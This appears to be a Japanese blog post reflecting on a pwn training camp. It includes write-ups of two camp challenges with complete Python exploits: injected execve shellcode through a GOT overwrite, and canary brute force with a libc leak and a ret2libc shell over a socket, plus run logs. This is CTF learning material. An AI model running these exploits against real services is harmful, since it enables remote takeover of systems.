pwn合宿 ~夏の陣~
昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。
pwn合宿ではあるが、pwnばかりというよりは常設CTFとかMMA CTFを各自やったり妨害コンテンツのアニメに見入ったりして、pwnはほとんどできない楽しい内容だった。
基本的にはもくもく会だったが、今までチームメイト以外の人と一緒にpwnとかCTF合宿をやる機会がなかった自分にはこうした経験は刺激も大きく、参加してよかったと思える合宿だった。
個人的に一番良かったと思えたのは、合間で色んな人と話ができたこと。
問題を解いた後に他の解法を聞いてみたり、問題以外でも日ごろ感じていることを話したり、経験したことがないCTFの話に聞き入ったり。
特にチームビルディングの話は面白くて、みんな色々と考えているんだな、と知れたことも収穫だった。
今回用に問題を作ってもらったものもあったので、せっかくなので少し紹介したい。
4問あって、heap overflowの問題はBOFさせるところまでは行って試行錯誤したけど解いていないためそれ以外の2問を書こうと思う。
memo
netcatでサーバに接続すると、名前とパスワードを聞かれる。[root@ubuntu] # nc XXXXXXXXXX 10005 Input your name. (name)aaaa Input your password. (pass)bbbb Wrong password...
ファイルを見るとx86バイナリ。保護機構を見てみると、Canary と NX が有効となっている。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
バイナリを読むと、xinetd ライクに動いており、
- (name)の入力で、fgetsから42文字入力
- (pass)の入力で、fgetsから128文字入力
- パスワードが合っている場合、(memo)の入力ができ、fgetsから128文字入力
- バイナリ内のパスワードは"h4v3_4_n1c3_pwn_c4mp!"で固定
- (pass)で入力した文字列は、0x15番目のoffset を 0x00 にしてから比較。つまり"h4v3_4_n1c3_pwn_c4mp!"のあとは任意の文字を入力しておける
ということがわかる。
[root@ubuntu] # nc XXXXXXXXXX 10005 Input your name. (name)aaaa Input your password. (pass)h4v3_4_n1c3_pwn_c4mp!bbbbbbbbbbbbbbbbbbbbbbbb Hi, aaaa Write your memo. (memo)cccc
次に、文字列が読み込まれる場所を見ると3つともStack上に読み込んでいる。
また、3回それぞれの文字列の読込先もStack上に存在しており、さらに2回目と3回目の読込先は、1回目の文字列で上書きすることができる。
x/10wx 0xffffcf02 (1回目の読込先Addr) 0xffffcf02: 0xea71ffff 0xaac807b1 0xa858f7e1 0x0bf8f7fd 0xffffcf12: 0x0d56f7e2 0xd000f7ff 0xf4e2f7ff 0xd55cf7fd 0xffffcf22: 0xffffcf2c 0xffffcfac ↑2回目読込先 ↑3回目読込先
32文字入力した後から、2回目と3回目の読込先情報がOverwriteできる。
次に、書き込み可能な箇所を調べるためにメモリマップを見てみる。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038 0x08049000 0x0804a000 rw-p /home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038 0x0804c000 0x0804d000 rwxp mapped 0xf7e13000 0xf7e14000 rw-p mapped 0xf7e14000 0xf7fbc000 r-xp /lib/i386-linux-gnu/libc.so.6 0xf7fbc000 0xf7fbe000 r--p /lib/i386-linux-gnu/libc.so.6 0xf7fbe000 0xf7fbf000 rw-p /lib/i386-linux-gnu/libc.so.6 0xf7fbf000 0xf7fc2000 rw-p mapped 0xf7fd8000 0xf7fdb000 rw-p mapped 0xf7fdb000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
rwxな領域も存在することがわかる。
ここで攻撃方針が立つ。
- 1回目の書き込みで、2回目の読込先をrwx領域に、3回目の読込先をどこかのgotに変える。
- 2回目の書き込みで、"h4v3_4_n1c3_pwn_c4mp!" の文字列と、その後にシェルコードを送り込む
- 3回目の書き込みで、どこかのgotをシェルコードの先頭を指すよう書き換える
- gotに飛んだときにシェルコード発動
しかし、静的解析をしていると3回目のfgets(赤線)の後にはlibcの関数を呼ばずにmainが終了していることがわかる。
x86のためBruteForceでリターンアドレスを書き換えることはできるがもっと良い方法はないものか。
ここで、gdbでmain関数からのReturnを読んでみると、Return後の exit 関数の中で munmap.plt を呼んでいる箇所があった。
main関数だけ見てたら気付かないわけだ…
というわけで3回目の書き込み先は munmap@got.plt にする。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) ###################### main def main(argv): rwx = 0x804c000 got_munmap = 0x8049ba4 shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" keyword = "h4v3_4_n1c3_pwn_c4mp!" if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 10005) else: print "[+] connect to local." s, f = sock("localhost", 10005) ret = read_until(f, "(name)") print ret buf = 'A' * 32 buf += p(rwx) buf += p(got_munmap) f.write(buf+'\n') ret = read_until(f, "(pass)") print ret buf2 = keyword buf2 += shellcode f.write(buf2+'\n') ret = read_until(f) print ret buf3 = p(rwx+len(keyword)) f.write(buf3+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
これでシェルを取得することができた。
[root@ubuntu] # python exploit_memo.py r [+] connect to remote. Input your name. (name) Input your password. (pass) Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Write your memo. (memo)ls bin boot dev etc home lib lib32 lib64 media mnt opt proc root run sbin srv sys tmp usr var cat /home/*/flag PWN{enjoypwncamp} exit *** Connection closed by remote host *** [root@ubuntu] #
mainの後とか意識していなかったので勉強になった。
echo
netcatで接続すると、メッセージを入力するように言われ、入力するとそれを返すプログラムの模様。[root@ubuntu] # nc XXXXXXXXXX 10004 Welcome to Echo Server Input your message >>AAAAA Okay! I recieved 6 bytes AAAAA Bye!
ファイルは同じくx86バイナリ。保護機構も memo とほぼ同様だ。RELROがPartialなので lazy binding が有効。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
バイナリを読むとforkサーバが実装されているため、親プロセスが死なない限りはアドレス位置や Canary値は変わらない。
このサーバではFD4で接続し、1024文字の入力を recv している。ここで Stack Overflow ができるようになっているが、513文字目から Canary を上書きしてしまうため切断されてしまう。
このプログラムはforkサーバ型なので、Canary BruteForce にて1バイトずつ Canary をリークさせる方針を取る。
その後、dup2にて入出力のファイルディスクリプタを4に差し替え、execve を呼ぶ。
バイナリ内で利用されているdprintfで情報をリークしようとしたがうまく行かないので、仕方なしに libc_base を推測して Brute Force することにした。
なんかBruteばっかりだな…ということでこの問題は ASLR を有効にした自サーバに打つ。
libc_baseは、32bitマシンか64bitマシンで値が違うが、自サーバは64bitマシンで動かしているため 0xf7500000 あたりから0x1000ずつ増やしていけば当たるだろう(ちなみに libc.so.6 は与えられている)。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, signal ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) ###################### main class TimeoutError(Exception): pass def handler(signum, frame): raise TimeoutError() def canaryBruteForce(buf): for i in range(0x100): signal.alarm(0) signal.alarm(1) #print "[+] %d..." % i try: s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf + chr(i) f.write(buf1) ret = read_until(f) ret = read_until(f) ret = read_until(f) ret = read_until(f) if("Bye!" in ret): print "[+] value is: 0x%02x" % i return buf1 except: pass def main(argv): socketfd = 4 libc_base = 0xf7500000 execve_addr = libc_base + 0xb5be0 dup2_addr = libc_base + 0xdb590 binsh_addr = libc_base + 0x160a24 exit_addr = libc_base + 0x331e0 pop2ret = 0x8048b95 pop3ret = 0x8048b94 buf = "A" * 512 ### guessing Canary print "[+] find Canary" print "[+] finding 1st byte" signal.signal(signal.SIGALRM, handler) buf = canaryBruteForce(buf) print "[+] finding 2nd byte" buf = canaryBruteForce(buf) print "[+] finding 3rd byte" buf = canaryBruteForce(buf) print "[+] finding 4th byte" buf = canaryBruteForce(buf) signal.alarm(0) print "[+] Canary found. start ret2libc" for i in range(0x200): offset = i * 0x1000 print "[+] libc_base: 0x%08x" % (libc_base + offset) buf1 = buf buf1 += "A" * 12 buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(0) buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(1) buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(2) buf1 += p(offset + execve_addr) buf1 += p(pop3ret) buf1 += p(offset + binsh_addr) buf1 += p(0) buf1 += p(0) buf1 += p(offset + exit_addr) buf1 += "AAAA" buf1 += p(0) s, f = sock("localhost", 10004) ret = read_until(f) f.write(buf1+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
これでシェルを取ることができた。
[root@ubuntu] # python exploit_echo_local.py [+] find Canary [+] finding 1st byte [+] value is: 0x00 [+] finding 2nd byte [+] value is: 0x5b [+] finding 3rd byte [+] value is: 0x12 [+] finding 4th byte [+] value is: 0xa5 [+] Canary found. start ret2libc [+] libc_base: 0xf7500000 (snip) [+] libc_base: 0xf75dc000 Input your message >>Okay! I recieved 609 bytes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ls / bin boot cdrom dev etc home initrd.img lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz exit *** Connection closed by remote host ***
Return to dl-runtime-resolve とかでいけるかな、とか思いつつもまだ不勉強なのでやらなかった。
もう少しキレイに解けたら追記しようと思う(pwnにきれいさはいらないとは思うが…)。
追記:
投稿後に普通に dprintf でリークできるよというツッコミをいただいた。
おかしいな、試したはずなのになぜ…と思いつつも試行錯誤すると確かに leak できた。
もともと試していたリーク方法
dprintf(4, "%x\n\x00", got_dprintf) ⇒ dprintf の処理で使われている strchrnul の中でセグって終わる
うまくいった方法
dprintf(4, got_dprintf)
…(´・ω`・)
ということで、 ret2plt を使って libc_base は一発で求まるようになったため、
Canary Brute Force → ret2plt(libc leak) → ret2libc にて攻略できるようになった。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, signal ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) def u(a): return struct.unpack("<I",a)[0] ###################### main class TimeoutError(Exception): pass def handler(signum, frame): raise TimeoutError() def canaryBruteForce(buf): for i in range(0x100): signal.alarm(0) signal.alarm(1) #print "[+] %d..." % i try: s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf + chr(i) f.write(buf1) ret = read_until(f) ret = read_until(f) ret = read_until(f) ret = read_until(f) if("Bye!" in ret): print "[+] value is: 0x%02x" % i return buf1 except: pass def main(argv): socketfd = 4 plt_dprintf = 0x80485e0 got_dprintf = 0x804a010 dprintf_offset = 0x4d360 plt_exit = 0x8048650 execve_offset = 0xb5be0 dup2_offset = 0xdb590 binsh_offset = 0x160a24 pop2ret = 0x8048b95 pop3ret = 0x8048b94 buf = "A" * 512 ### guessing Canary print "[+] find Canary" print "[+] finding 1st byte" signal.signal(signal.SIGALRM, handler) buf = canaryBruteForce(buf) print "[+] finding 2nd byte" buf = canaryBruteForce(buf) print "[+] finding 3rd byte" buf = canaryBruteForce(buf) print "[+] finding 4th byte" buf = canaryBruteForce(buf) signal.alarm(0) ### leak libc_addr print "[+] Canary found. start ret2plt" s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf buf1 += "A" * 12 buf1 += p(plt_dprintf) buf1 += p(pop2ret) buf1 += p(4) buf1 += p(got_dprintf) buf1 += p(plt_exit) buf1 += "AAAA" buf1 += p(0) f.write(buf1+'\n') ret = f.read(560) dprintf_addr = u(f.read(4)) print "[+] dprintf_addr: 0x%x" % dprintf_addr libc_base = dprintf_addr - dprintf_offset print "[+] libc_base: 0x%x" % libc_base ### ret2libc print "[+] start ret2libc" s, f = sock("localhost", 10004) ret = read_until(f) buf2 = buf buf2 += "A" * 12 buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(0) buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(1) buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(2) buf2 += p(libc_base + execve_offset) buf2 += p(pop3ret) buf2 += p(libc_base + binsh_offset) buf2 += p(0) buf2 += p(0) buf2 += p(plt_exit) buf2 += "AAAA" buf2 += p(0) f.write(buf2+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
試行回数激減だ。
[root@ubuntu] # python exploit_echo.py [+] find Canary [+] finding 1st byte [+] value is: 0x00 [+] finding 2nd byte [+] value is: 0x32 [+] finding 3rd byte [+] value is: 0x12 [+] finding 4th byte [+] value is: 0xb3 [+] Canary found. start ret2plt [+] dprintf_addr: 0xf7651360 [+] libc_base: 0xf7604000 [+] start ret2libc Input your message >>Okay! I recieved 609 bytes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ls / bin boot cdrom dev etc home initrd.img lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz exit *** Connection closed by remote host *** [root@ubuntu] #
計算したlibc_baseからシェルを起動することができた。
おわりに
改めて振返ってみるとこういう経験って慣れ親しんでいるチームメイトともなかなかやらないし、集まってやれたことはとても良かった。最初は参加していいものかビビっていたが、pwnばかり考えて、寝泊りしながら問題解いて、話ができて(←これ重要)、つながれたことは貴重で、明け方にホロ酔いになりながら談笑したことはたぶん忘れない。
最後に。
CTF始めたてで、pwn経験がない方が一人参加されていたけど2日足らずで村人A, Bを突破しBOFの問題にまで手を付けている様子を見て、pwn合宿の威力ハンパねぇw と思った。
あと世の中はすごい人がたくさんいるなという率直な感想。
この威力に負けないよう、そして次はさらに楽しめるようになろうと思う。
運営お疲れ様でした。